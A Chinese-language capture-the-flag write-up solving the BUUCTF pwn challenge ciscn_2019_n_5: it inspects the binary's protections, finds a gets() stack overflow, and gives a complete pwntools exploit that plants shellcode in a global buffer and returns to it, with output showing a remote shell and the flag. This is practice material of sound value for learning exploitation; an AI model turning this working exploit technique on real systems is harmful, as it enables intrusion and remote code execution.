我要学pwn.day12

ciscn_2019_n_5

潜心修炼，从基础开始

这是一道简单的编写shellcode

---

解题流程

1.查看文件

$ file ciscn_2019_n_5
ciscn_2019_n_5: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e420b4efe941251c692c93a7089b49b4319f891, with debug_info, not stripped

2.查看保护

$ checksec ciscn_2019_n_5
[*] '/home/ctf/Downloads/pwnexercise/ciscn_2019_n5/ciscn_2019_n_5'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

保护一个没开，貌似可以干的很多呀

3.IDA反汇编

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char text[30]; // [rsp+0h] [rbp-20h] BYREF

  setvbuf(stdout, 0LL, 2, 0LL);
  puts("tell me your name");
  read(0, name, 0x64uLL);
  puts("wow~ nice name!");
  puts("What do you want to say to me?");
  gets(text);
  return 0;
}

看程序，很简单，存在危险函数gets，栈溢出，下一步找后门

4.找后门函数

查看字符串，没有后门函数，那么利用name变量，自己造后门了

5.造后门

看一下name变量的位置，并记录，0x601080

看一下gets函数的溢出点，text的位置是0x20，再加8位栈底

6.编写EXP

# -*- coding:utf-8 -*-
#! /usr/bin/env python

from pwn import *

context(os="linux", arch="amd64")
# context.log_level="debug"

local = 0
elf = ELF('./ciscn_2019_n_5')

if local:
    pro = process('./ciscn_2019_n_5')
else:
    pro = remote('node4.buuoj.cn', 26100)


def get_shell():
    shellcode_addr = 0x601080
    payload = b'A'*(0x20+8)+p64(shellcode_addr)
    sc = asm(shellcraft.sh())
    pro.sendlineafter('name\n',sc)
    pro.sendlineafter('me?\n',payload)

    pro.interactive()


if __name__ == '__main__' :
    get_shell()

7.获取flag

$ python3 ciscn_2019_n_5Exp.py 
[*] '/home/ctf/Downloads/pwnexercise/ciscn_2019_n5/ciscn_2019_n_5'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[+] Opening connection to node4.buuoj.cn on port 26100: Done
/home/ctf/.local/lib/python3.7/site-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[*] Switching to interactive mode
$ cat flag
flag{4d3e467b-40d8-422e-8b28-ca0fc99fe8b8}
$ 
[*] Interrupted
[*] Closed connection to node4.buuoj.cn port 26100

打完收工